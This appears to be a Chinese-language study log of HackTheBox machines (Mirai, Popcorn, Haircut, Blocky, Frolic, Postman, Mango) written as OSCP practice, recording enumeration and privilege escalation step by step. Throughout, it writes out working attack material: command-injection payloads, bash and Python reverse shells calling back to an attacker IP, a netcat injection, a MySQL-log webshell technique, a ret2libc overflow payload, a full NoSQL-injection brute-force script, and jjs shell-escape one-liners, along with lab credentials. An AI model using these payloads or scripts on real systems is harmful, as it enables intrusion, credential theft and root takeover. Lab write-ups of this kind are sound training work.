能进后台phpmyadmin的洞还是很多的成功执行命令

弹上来了

开始提权我的思路是将重点不再放到这个站点上了因为当前用户的账密都有了完全没东西也没必要去看配置文件了

pepper目录下有个log，记录了我们的攻击

看一眼常规提权还是有东西的

思路就是这个了去看看

先传pspy32在另一个窗口监控进程再来看这个主要看看意外收获做完这个之后再去看进程有些来不及

发现几个有意思的东西

但我们还是先监控着先去看刚刚那个文件

找到了关键点

第一个参数给-p

再去看刚刚那个函数它对输入内容进行了筛选不让输入带拼接的东西我没有想到绕过的方法

根据之前做过的靶场我这次想到了直接去google 用英文表达

https://security.stackexchange.com/questions/219605/command-injection-filtering-bypass

然后找到了一个有用的文章

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

127.0.0.1$(cat /home/pepper/user.txt >/tmp/2)

10.10.66.66$(cat /home/pepper/user.txt)

拼接测试看看

两个都可以一个是直接写入文件一个让他报错然后输出

成功读取准备提权

这里我试了很多最后想到了一个好方法他不允许带- 但是所有的弹shell的方法都要- 并且su切换也不行要密码的

直接将弹shell的代码写入 echo “bash -c ’exec bash -i >& /dev/tcp/10.10.16.13/6661’” > /tmp/1.sh

然后拼接命令的时候直接调用

10.10.66.66$(sh /tmp/1.sh)

成功弹回shell 但还遇到一个问题就是这个新shell 是靠老的来维持的老的一断开或咋样这个新的完全没任何效果只能说是写的弹shell的脚本有问题

换一个python脚本就好了

1

'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

写到/tmp/2.py里运行就弹回来了

常规提权貌似不行了

回看pspy32 没有看到什么计划任务只有两个/root下面运行的文件但是我没有任何查看的权限

直接传脚本去扫

以上是获取到的信息很明显最后一个提权就在这

我找到了方法但是有点难用这一篇写的不错最后成功提权了

https://www.cnblogs.com/zlgxzswjy/p/14781471.html

至此就结束了这一篇学的东西还是挺多的但是没有跟之前一样卡住每一步都能解决

开始翻wp

这一步使用联合注入用的是写shell那个方法

其他思路没有太大问题

13.Mirai

信息收集:

22没东西

53没有域名解析不了

80有一个admin还有一个version 还有一段话

剔除长度61接着目录爆破就行

没有找到能利用的漏洞能利用的都是需要登陆进去拿到session的一般爆破一边找默认口令把

version也没东西默认口令用户名：pi 密码：raspberry

先放着接着往后走

完全没东西目前的思路就只有ssh还有那个plex 但是plex访问不了先爆目录看看吧

直接上来了

离谱

果然没那么简单

后续研究了一下这个按照我的思路开始测试因为从来没了解过这东西

按照我错误的方式我操作了很久完全不行

后续只能看到wp了解到一个关键的地方

首先 df -h mount lsblk

这三个命令都能看到被挂载的是哪个设备根据这个人的解释来说挂载之后我给他删了不代表原始设备上也被删了

只有这一篇文章解释得很清楚

https://0xdf.gitlab.io/2022/05/18/htb-mirai.html

就是说删除操作没有彻底清除只是将文件系统的目录结构删了当有新数据写入的时候会进行覆盖(貌似所有硬盘都是这个逻辑)

cat grep strings都可以因为他们都可以看到这个文件的数据

没问题

grep -aPo ‘[a-zA-Z0-9]{32}’ /dev/sdb

只能说学到了

到此结束这一个扩展了新知识跟之前的思路只能说很多不一样学到了新东西

14.Popcorn

信息收集：

22端口需要私钥

80端口有些东西

这个原来是test.php 目录爆破可以出来我测试给他改了

注册就能进入这个页面可以上传文件而且貌似不限制文件后缀唯一不清楚的就是上传的文件到哪去了

找到个nday 但是根据他的描述文件应该在torrents目录下但他实际上并不在

这里我想到个好点子

http://popcorn.htb/rename/index.php?filename=../torrent/torrents.php&newfilename=../torrent/torrents.txt

把这个改成txt下载下来代码审计

成功了

最后我读了发现的几个php文件

torrents.php

upload.php

config.php

直接说结论吧读完之后发现他的命名方式是取出当前torrent文件的sha1值然后拼接.btf 合成的文件名称

并且文件存在于http://popcorn.htb/torrent/torrents/

故此之前自带的kali镜像文件路径为http://popcorn.htb/torrent/torrents/723bc28f9b6f924cca68ccdff96b6190566ca6b4.btf

而在读代码的过程中遇到了一个没接触过的东西就是torrent文件的sha1 在php里是

是这样的取出来的而根据后续的代码

一切就显而易见了直接上传一个sha1值和之前不一样的东西随便百度下一个就行然后上传并在里面加上php代码通过rename该名称就能getshell

随便取名就行然后传上去

这里也是拿到了再去下载找一下hash值

完全没有任何问题我们直接把他的名称改了

直接访问

报错了但是至少他是能解析的问题出现在我这重新搞一次

换了个文件就好了

开始提权

config.php里的其实已经读出来过了在记录一下

/var/www/torrent/database 这里有个 th_database.sql文件我们传到本地看看

没其他东西了

admin/admin12

torrent/SuperSecret!!

sudo不行

家目录有torrenthoster.zip源码

还是传脚本扫一下把

开始挨个看

mysqld_safe不在定时任务里也没有suid

第二个提示我们执行sudo不需要密码但是我运行的时候一直要求要密码

第三个没权限

pspy32并没有其他进程来运行

基本都看完了没有任何方面能够利用目前还剩一个 george目录下的 torrenthoster.zip没看

下载过来看了也是啥都没有

目前已经卡死了只知道他说sudo是不需要密码的但是我用的时候却需要密码

只能searchsploit了搜了几个脚本挨个传上去扫

其他的都运行不了但是这个貌似有点意思啥都有只是告诉了我们密码错误而已读一下代码

读完之后发现就是字面意思输入toor就行

成功提权完成这一个靶场也是难度适中扩展了思路把

结束了去看wp

https://medium.com/@harellevy159/hackthebox-popcorn-write-up-51500a8d11ff

提权方式不一样

看了下这个脚本只能说我的搜索方式还有问题不要老吧ubuntu加上去搜搜内核还有其他收获

而且我才想起来这个是脏牛提权最经典的一种

而我刚刚那个exp 他们是根据.cache/motd.legal-displayed这个找exp的而我是直接搜ubuntu版本来找的

思路没有完善只是运气好其他就没什么差别了到此就结束了

15.Haircut

信息收集:

还是只提重点有三个网站还有个uploads

三个网站三张图其他啥都没有图片全都看了一眼啥都没有

uploads403

exposed.php 有个命令注入非常明显因为之前的靶场打过一次

还是$命令注入它禁了很多但是netcat没禁尝试回连有回显开始构造payload反弹shell

[http://localhost/test.html$(netcat](http://localhost/test.html$(netcat) 10.10.16.13 9999 -c sh)

可以直接弹

只感觉到打靶场越来越得心应手了

开始提权信息收集

先生成个tty把 python3 -c ‘import pty; pty.spawn("/bin/bash")’

maria目录的user.txt 和 Desktop的user.txt不一样

0b0da2af50e9ab7c81a6ec2c562afeae

152294df041b51863cc9c7b5a52938f2 #这个提交与hackthebox是没问题的

启动LinEnum扫一下出了内核版本找到了一个exp

结束了这个靶场还是常规的甚至只花了50分钟就搞完了

但还是要看看wp学思路他们在suid上找到了Screen 4.5.0 然后通过搜索这个的exp完成提权

外网打点的思路就是访问自己开的http服务然后-o输出到php文件里基本上没有搜到和我一样的思路的

其实Screen 4.5.0这个有点意思可以尝试一下

如果没有刚刚那个提权这个文件也会引起我的注意因为正常系统自带的没有这玩意而且他还带个版本

payload

报错也只是少文件

报错了还是读代码把

不难理解自行编译再丢到靶机上试试

警告并没有报错

也是警告没报错 -static 加参数主要是有些gcc版本不一样其他系统可能会报错才加的

传到靶机挨个执行命令看看

~~果然还是报错了~~ 分析了下代码主要是就是libhax不知道是啥漏洞(底层的还是有点研究不来) 能给将rootshell改成root所有并给予755权限所以我们一执行rootshell就变成root权限了

~~那现在看来问题一直出现在这个libhax上研究一下~~

实际上没有问题我名字取错了 libhax.so 我取成了 libhex.so 改了之后就能正常运行了

按照命令执行走成功获得root权限

至此全部结束

16.Blocky

信息收集:

还是直接说结论

21端口没有漏洞 1.3.5有exp 但是他是未经授权就能进行文件移动但是我打了三个exp 并且手测读代码才发现这里根本没有漏洞

22端口没有任何信息

80是一个wordpress 我对wordpress测了很久但是没用里面有个phpmyadmin 4.5.4.1版本的没有相关漏洞

wordpress有两个用户(但这不重要)

其他就没东西了

剩下的就是对目录进行爆破果然有东西 minecraft就是java编译的找到两个jar文件

直接逆向我本来以为要java代码审计结果不用

有了这个可以登录phpmyadmin了

后台RCE的地方就很多了

写文件被ban了

1
2
3


show variables like '%general%';	--查看配置，日志是否开启，和mysql默认log地址(记下原地址方便恢复)
set global general_log = on;		--开启日志监测，默认关闭(如果一直开文件会很大的)
set global general_log_file = '/var/www/html/info.php';		--设置日志路径

这个还是能写的但是绝对路径一直不对后续就是一直找绝对路径浪费了我很多时间

后面没办法了突然就想通了既然phpmyadmin写不了shell wordpress的后台其实也能找找绝对路径或者直接后台getshell就行

第一个改成md5 第二个写密码

它会自动给你生产加盐密码我这里的密码是password生成的

$P$Bmf0.aAqKmYZ9zmcrtFLx8kjh32HaT1

直接能利用 Notch/password 登录

模板可以直接改拼接url直接反弹了个shell

http://blocky.htb/wp-content/themes/twentyseventeen/front-page.php

上来了也是第一时间看了下绝对路径我一开始填的路径就是这个但是为什么sql写不进去呢？

一目了然了网站目录没给其他用户写入权限所以写不进去是正常的

开始提权信息收集

这里有个notch用户我把它数据库里的密码删了如果他的那个密码撞出来了是不是这里就能su

一切都不确定挨个看吧目前sudo是用不了了要密码

这个内核很眼熟直接传脚本吧

结束一路上都是常规渗透没有意料之外的服务或者啥的

但是误区可能有点多导致浪费很多时间只能说该提快速度了

17.Frolic

信息收集:

smb没有东西

1880端口

没有东西目录爆破也不行提示401 然后密码猜对了应该 admin/password 请求/auth/token接口

直接请求无返回

改了之后提示401 node-red 没有找到其他东西了这是目录爆破结果

9999端口

/admin做的是前端验证

登陆成功是这玩意

/test 是phpinfo

http://10.10.10.111:9999/backup/

这个下面有三个文件 user.txt password.txt /loop目录

user/password的密码为 admin/imnothuman

没找到用处

其他的/loop /dev 都是403

还有个UDP的137端口搜了一下找了个poc 没作用

对两个403的目录进行爆破因为我没写递归

找到个目录访问成功了但是我之前获得的密码都登陆不上去

很多exp 估计这就是真正的入口点了但是目前我并不清楚他的版本要不然全打一遍要不然找找版本

特意去github找了个版本看看

每个目录下的index.html全部为空找不到版本号

那就直接打exp把根据教程 https://cloudker.github.io/web-security/2017/05/15/PlaySms-1.4%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90

http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=register

这里可以注册

被ban了但至少目前掌握了目录结构但是总不能让我挖漏洞吧应该还是利用nday

倒序挨个说结论吧

48199.txt 要登陆而且还是msf代码

42038.txt 要登陆普通权限用户就行但是我们试过了无法注册

44599.rb msf脚本直接跳过

42044.txt 要登陆普通用户就行也提示了可以注册但是我们无法注册

42003.txt 也要普通用户登录

17792.txt 他给的路径在站点上找不到我的源码目录结构里也没有那个文件基本确定了目标站点版本比17792.txt这个站点高也就是比 0.9.9.2高

目前自带的exp根本打不了

google以及找找默认口令

找了几个poc打不进去默认口令admin:admin进不去

其实到这一步我怀疑他就是一个没问题的跟之前那些一样没有一点用

最后我只找到这个目录

其实还有ssh没有试再去试试实际上ssh也不行

同样这三个密码我都在samba上试了但是都不行并且里面没有其他目录可以连

目录爆破给了我其他结果 loop貌似有很多级我开始一直往后加loop

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


import requests

headers = {
 'Host': '10.10.10.111:9999',
 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
 'Accept-Language': 'en-US,en;q=0.5',
 'Accept-Encoding': 'gzip, deflate',
 'Connection': 'close',
 'Cookie': 'PHPSESSID=gqpklpimfs5kh12tddv3gjgs06',
 'Upgrade-Insecure-Requests': '1'
}

i = 1
url = "http://10.10.10.111:9999/loop"
response = requests.get(url=url,headers=headers)
while response.status_code == 403:
 url += "/loop"
 response = requests.get(url=url, headers=headers)
 i += 1
 print(i,response.status_code,url)

print(response.status_code)
print(response.text)
print(url)

第42个终于出结果了虽然回包是404 但是可以继续爆破

loop最后的一个目录接着爆破我突然还有个思路这么多网页它的源码还有js文件里肯定会藏东西那就接着翻吧

这个接口还有个csrftoken 可以爆破但是还得写脚本

最下面有个提示

马来语

全翻了一遍就只有上面有藏起来的东西

目前我是能探索的都探索了一遍除了一开始的succes.html那些看不懂的加密内容

我现在能百分百确认了那个是必须要看的开始google

我把下面这些全丢到google 出了一个结果

….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. ….. ….. ….. ….. ..!.? ….. ….. .!?!! .?… ….. ..?.? !.?.. ….. ….. ….! ….. ….. .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !…! ….. ….. .!.!! !!!!! !!!!! !!!.? ….. ….. ….. ..!?! !.?!! !!!!! !!!!! !!!!? .?!.? !!!!! !!!!! !!!!! .?… ….. ….. ….! ?!!.? ….. ….. ….. .?.?! .?… ….. ….. …!. !!!!! !!.?. ….. .!?!! .?… …?. ?!.?. ….. ..!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?…. ….. ….. …!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ….. ….. ….. .!?!! .?… ….. ….. …?. ?!.?. ….. !…. ….. ..!.! !!!!! !.!!! !!… ….. ….. ….! .?… ….. ….. ….! ?!!.? !!!!! !!!!! !!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?… ….! ?!!.? ….. .?.?! .?… ….. ….! .?… ….. ….. ..!?! !.?.. ….. ….. ..?.? !.?.. !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. .!?!! .?!!! !!!?. ?!.?! !!!!! !!!!! !!… ….. …!. ?…. ….. !?!!. ?!!!! !!!!? .?!.? !!!!! !!!!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!! !…. ….. ….. ….. !.!.? ….. ….. .!?!! .?!!! !!!!! !!?.? !.?!! !.?.. ….. ….! ?!!.? ….. ….. ?.?!. ?…. ….. ….. ..!.. ….. ….. .!.?. ….. …!? !!.?! !!!!! !!?.? !.?!! !!!.? ….. ..!?! !.?!! !!!!? .?!.? !!!!! !!.?. ….. …!? !!.?. ….. ..?.? !.?.. !.!!! !!!!! !!!!! !!!!! !.?.. ….. ..!?! !.?.. ….. .?.?! .?… .!.?. ….. ….. ….. .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! ….. ..!.! !!!!! !.?.

1

Nothing here check /asdiSIAJJ0QWE9JAS

找到了

一个zip文件因为普通文件他的开头不可能是PK 而所有的zip文件他的开头都是PK

我将获得的密码都丢了进去

最终密码是password

解出来是这个

+++++ +++++ [->++ +++++ +++<] >++++ +.— –.++ +++++ .<+

++ [->++ +<]>+

++.<+ ++[-> —<] >—- –.– —– .<+++

+[->+ +++<] >+++. <+++[ ->—

<]>– .<+++ [->++ +<]>+ .–

-. <+++[ ->— <]>– —-. <++++ [->++ ++<]>

++..<

这回学聪明了直接丢google

默认账号admin 成功进来了

https://www.exploit-db.com/exploits/42044

42044的一键脚本

https://github.com/jasperla/CVE-2017-9101

可以直接getshell

开始提权

数据库root权限

44298.c完全匹配直接传上去

报错靶机是32位的改成32位编译就行

gcc 44298.c -m32 -static -o 44298

好吧即使是32位的还是报错

试了几次这个exp确定是打不了的

写的是< 就是不行

/home/sahay/.node-red 这个目录有settings.js 密码解出来就是password

sahay启动的node-red 也就是直接拿下node-red 就是sahay权限再继续看看

挨个看一下这些文件都没有东西我只能再去家目录找了

看到个有意思的上面有两个公钥但是进行连接的话我这里应该找私钥才对公钥对我而言完全没用

两个文件是一样的

接着翻家目录发现

有s权限

二进制elf文件简单运行一下提示这个

他会重复你的说的话这里肯定需要逆向但是让我读一些C/C++代码还没问题逆向的汇编我还真没学

————————————————-这里了解到要用到缓冲区溢出的技术我目前只测出来

他最多能承担 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 也就是49个字符

目前这一处先空下吧等后面学会了缓冲区溢出会再来打的

现在是这个靶场的第二天 oscp考的缓冲区溢出貌似比较基础我也是学了一天基础部分了解了

重新找到那个rop程序开始分析

第一个setuid push了一个0 也就是root的权限

第二处调用了vuln函数传了一个eax参数最终赋给了vuln

这些其实都不用管咱们主要是找eip

直接传参

用52个英文字母来识别当然可以更多字符只要不一样就行

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

52个字符报错了但是实际上他的指向是0x08048400 deregister_tm_clones这个函数

当我们在52个字符后面加4个字符填充的时候会出现这些

我加了4个1 他出现了1的ascii16进制说明我们找到了eip在哪

接下来找靶机动态链接库

记录地址 0xb7e19000

这里我们要找两个函数 system和exit 执行系统命令以及退出进程

还有一个字符串 /bin/sh 的地址

ww-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " system"

1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep " exit"

141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

</.binary$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”

15ba0b /bin/sh

找到了偏移量直接计算器相加就行

0xB7E53DA0

0xB7E479D0

0xB7F74A0B

86架构是小端序所以我们还要字节倒序

\xa0\x3d\xe5\xb7

\xd0\x79\xe4\xb7

\x0b\x4a\xf7\xb7

写成16进制能识别的样子拼接payload

./rop $(echo -e “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\xa0\x3d\xe5\xb7\xd0\x79\xe4\xb7\x0b\x4a\xf7\xb7”)

执行就结束了因为这一个靶场学会一些简单的缓冲区溢出还是挺有作用的不过要深入的话还是有点困难后续还会找一些缓冲区溢出的靶场可以学习下

18.Postman

还是说结果

22访问没提示信息

80获取到域名 postman.htb 然后没东西了开始目录爆破

6379 我着重关注redis 有未授权访问 4.0.9版本写shell不行没权限写定时任务不行没权限写公钥不行没权限

也就是写文件很多目录都没权限公钥我可以试试写在家目录但是我并不知道有哪些用户这个可以待定

还有个主从复制也无法利用

10000 MiniServ 1.910 (Webmin httpd) 这个版本kali search没找到但是google上有而且版本完全匹配

前提是要有密码

目前得出的结论是 22没漏洞 6379可以写文件但是无法写getshell的东西其他文件写没问题

80和10000重点关注 udp的10000我去搜了是一个

NDMP(网络数据管理协议)是一个专门为NAS设备的数据备份系统设计的协议

但是ndmp的都是tcp的10000协议而不是udp的这个可以留意

目前先爆破80以及10000 最重点的是找10000的密码打exp

发现一个有意思的东西不带http访问的时候报错而访问https的时候会卡一下我刚开始以为是重定向卡的现在看貌似是因为backup这个文件卡的

这个地方会随着域名的请求改变而改变在我看来这里肯定有个利用点但是我并没有太多思路

udp的10000是可以连的

我尝试去找关于这个服务的连接软件进行连接

但是我搜了很久没有搜到好像这个是netapp的转身程序我完全获取不到 nc连接也没有任何东西供我使用

原来刚刚是误报实则这个还是webmin

没有办法目前最明显的就是10000的框架了再去搜搜poc 依然没效果

重复看回去吧 6379我感觉还是有点像误区但是为了严谨还是搜了一下版本漏洞发现了一个新的版本一样的漏洞

https://gist.github.com/ziednamouchi/d9b57abc1834d7ce3cf43d4d74479baa

他这个脚本跑不了有点麻烦不过读代码还是挺简单的

其实就这样就行

连上去了

开始提权信息收集重点还是挺好找的因为有LinEnum.sh

上面一看就有加密直接丢john跑就行

连接直接被关闭

我想到了在靶机上连本地都不行

非常奇怪我只能看一下ssh的配置文件

不让登录

实际上他的密钥密码就是他的账户密码成功切换

开始接着提权发现了几个有意思的文件

这个竟然是以root的权限启动的也就是说我们没有他的密码没进去但是如果找到它的密码就能打exp 获取的权限就是root权限现在大概率只差密码了因为我翻了很多文件尝试了很多基本没有提权点了

那个目录大部分我们无法读写个find看一下吧

读完啥都没有只能google看看这个密码文件放哪了

/etc/webmin/miniserv.users

但是这个访问不到

/root/webmin-1.470/changepass.pl /etc/webmin/ Demo 123456

这个命令可以改但也提示我没权限

搜的时候发现了个这个我们目前有Matt的密码登陆一下看看

还真上去了遇到登陆成功的账号密码去其他服务上撞库

第一时间没发现导致我浪费了很多时间

https://github.com/roughiz/Webmin-1.910-Exploit-Script

代码要改一下我没有termcolor这个包而且这个包也无关紧要

结束这里盲目自信了redis 一开始没跟着固定版本4.0.9去打exp 其次是很多都看到了但是最关键的撞库没去做

其他都还好

19.Mango

信息收集：

只有一个页面22端口没东西 80端口403 443https是这个没有找到藏着的东西

这个页面没搜到任何结果不知道那个接口是咋回事

nmap没有给我这个框架的信息 whatweb的指纹也没有

但是他的标题 mango search base 可以看看这个是不是框架

版本都不一样找几个试试吧

开始试的时候发现目录爆破给了我个结果

39w个字节这个在主页是存在的但当时我看里面没东西就没管这是做的有问题的地方

算是一个失误了但凡目录爆破字典没这个就会浪费很多时间再看看

很多js调用失败了他们都是远程调用的

这里面有很多data但是无法调用所以显示空分析js我喜欢在chrome上 firefox太难用了

访问之后发现这里的js竟然没问题？明明都是同一个请求

开始看看当前页面有没有什么接口看了半天这玩意就是纯js实现的或者我没找到接口

但是index.php发现一个东西只要在index.php后面加参数返回都是这样没啥用

但是实际上他的ssl证书还有东西

果然外层没东西但是这个有开始爆破

后来试了半天没有任何东西只能看wp看下一步它提示说 mongo 实际上代表它后端的数据库用的MongoDB 而我们要利用nosql注入遇到明显的图片域名等等提示记得google找对应的漏洞看看有没有

其实我搜的时候搜 mongo 一直出的是mongodb我以为没有联系结果还有个nosql 算是学到了

知道入口点就开始测试

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0o%2BQCi77jYeD#toc-6

可以进去但是他这显示不能访问看看能不能写shell 貌似不能写文件

目前登录也不行只有一个思路了既然存在注入我们就需要获取他的密码然后撞库跟上一个靶场很像

但是oscp几乎不允许使用自动化渗透脚本一键的nosql注入工具貌似不被允许这里只能从0学习nosql语法

花了1个多小时简单速成了一下目标点在这里

https://xz.aliyun.com/t/9908?time__1311=n4%2BxnD0DuDRDci730%3DD%2FiaRmx0hiaWQCC0YeD#toc-2

依靠这个函数 [$regex] 这函数可以与substr差不多相同的功能

用法在这看起来一目了然我们只需要找一个字符表

字符表在这 string.printable 将里面的那个字符表里面的字符去掉就行然后挨个遍历登陆成功回包302

基本上全靠这篇文章但是这个还是有缺点就是用户名我们是找不到的默认admin 但我不认为他只有这一个用户

我们先爆出admin的密码再说吧

admin的密码是有12为 payload

username=admin&password[$regex]=.{§1§}&login=login

后续接着学习mongodb语句 nosql注入语句发现了一个关键点

username[$regex]=^a.*&password[$ne]=1&login=login

上面是payload 在那个网址里面介绍了爆破password的语句实际上username也是一样的

自行拼接语句 username[$regex]=^a.* 就是正则表达式匹配开头为a的用户名在的话就会有返回相当于以前遇到的 a* 那种遍历漏洞 a* ad* adm* admi* 这种类似

靠这个就能爆破出用户名但是还有个前提就是用户名是对的但是对应账户的密码我们是没有的所以加上之前的万能密码 password[$ne]=1 就能构造poc

poc逻辑：先爆破用户名，遍历一次所有字符，比如a存在的话，就单独压入字典，然后爆破后面的字符，出现不一样的压入一次，第二次遍历(例如a)+所有字符，如果出现不一样的接着压入，如果第n次遍历所有字符没有任何返回值，就代表用户名已全部爆出完毕，而302就是判断登陆成功的标准。

爆破密码处可以复用上述代码，逻辑上没区别。

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110


import requests
import string

url = "http://staging-order.mango.htb/"

headers = {
 'Host': 'staging-order.mango.htb',
 'Content-Length': '49',
 'Cache-Control': 'max-age=0',
 'Upgrade-Insecure-Requests': '1',
 'Origin': 'http://staging-order.mango.htb',
 'Content-Type': 'application/x-www-form-urlencoded',
 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36',
 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
 'Referer': 'http://staging-order.mango.htb/',
 'Accept-Encoding': 'gzip, deflate',
 'Accept-Language': 'en-US,en;q=0.9',
 'Cookie': 'PHPSESSID=qspndr7i6msn9e8eamalqjadh7',
 'Connection': 'close'
}

# data = 'username[$regex]=^a.*&password[$ne]=1&login=login'
#
# print(requests.post(url=url,headers=headers,data=data, allow_redirects=False).status_code)

list_username = []
flag = True

# #用户名
# while True:
# if list_username != [] and len(list_username) >= 1 and flag:
# flag = False
# # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
# for i in range(0, len(list_username)):
# for c in string.printable:
# if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
# post_data_1 = f"username[$regex]=^{list_username[i]+c}.*&password[$ne]=1&login=login"
# response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
# print(post_data_1)
# print(c, response.status_code)
# if response.status_code == 302:
# list_username[i] = list_username[i]+c
# flag = True
#
# print(list_username)
#
# elif flag == False:
# print("result:",list_username)
# break
# # exit()
#
#
# else:
# for c in string.printable:
# if c not in ['*', '+', '.', '?', '|', '#', '&', '$', '\\','^']:
# post_data_1 = f"username[$regex]=^{c}.*&password[$ne]=1&login=login"
# # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
# response = requests.post(url=url,headers=headers,data=post_data_1, allow_redirects=False)
# print(post_data_1)
# print(c,response.status_code)
# if response.status_code == 302:
# list_username.append(c)
#
# print(list_username)

print_list = []
#两个没冲突 打开注释一样可以继续跑
list_username = ['admin', 'mango'] #填入username或者和上面联动把这一行注释了
#密码
for user in list_username:
 flag = True
 list_password = ''
 while True:
 if list_password != [] and len(list_password) >= 1 and flag:
 flag = False
 # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
 for c in string.printable:
 if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
 post_data_1 = f"username={user}&password[$regex]=^{list_password + c}.*&login=login"
 response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
 print(post_data_1)
 print(c, response.status_code)
 if response.status_code == 302:
 list_password += c
 flag = True
 break

 print(list_password)

 elif flag == False:
 print("result:", list_password)
 print_list.append(list_password)
 break
 # exit()

 else:
 for c in string.printable:
 if c not in ["*", "+", ".", "?", "|", "\\", "\b", "&","$"]:
 post_data_1 = f"username={user}&password[$regex]=^{c}.*&login=login"
 # post_data_2 = "username[$regex]=^.*&password[$ne]=1&login=login"
 response = requests.post(url=url, headers=headers, data=post_data_1, allow_redirects=False)
 print(post_data_1)
 print(c, response.status_code)
 if response.status_code == 302:
 list_password += c
 break

 print(list_password)

print(print_list)

确实有点慢没想过多线程那些脚本应该还需要优化但是不用在意那些细节

username

没加去重但是密码出来了跟我测的位数一样手测的位数16位

mango撞库成功登陆上了ssh

开始提权

大概率是越权到admin然后运行这个提权root

脚本也给了提示但是我们不是admin

su配合之前的密码就上来了大概率是sshconfig禁了

非常经典的反弹shell的脚本开ProcessBuilder线程 Socket回连定义输入流死循环用于发送返回命令

问题是jjs我也没用过 google一下看一下如何利用

实际上我了解到的他是可以直接执行java代码的

Java.type(‘java.lang.Runtime’).getRuntime().exec(’/bin/sh -i >& /dev/tcp/10.10.16.13/9999 0>&1’)

进程开出来了但是提示没有输入并且我这没有收到shell 下面都是它自带的改了参数这几个都是我自行测试的但是他就是反弹不回来shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -i >& /dev/tcp/10.10.16.13/9999')

var host= "10.10.16.13";
var port= "9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();

var Socket = Java.type("java.net.Socket");
var s=new Socket("10.10.16.13","9999");
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

还真有关于jjs的提权修改payload

1

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

运行就行

结束这个靶场卡了我很多时间最主要是写的脚本太卡了可能是网速的问题导致爆破速度很慢也可能是脚本编写的不太好总之那个地方卡了我很久还有好像是第二次了解到了nosql注入第一次不是很在意

最后就是这个java的利用点我一开始没了解过jjs 才知道可以调用java代码所以一直想自己构造因为他确实在history里面也带了些虽然看着他的脚本没问题事实告诉我弹不回来

问了下gpt确实存在问题

20.Traverxec

信息收集：

访问这个机器非常卡不知道是我自己电脑的原因还是他的原因

直接讲结果把

22端口没东西

80端口whatweb找到了指纹直接搜找到了exp
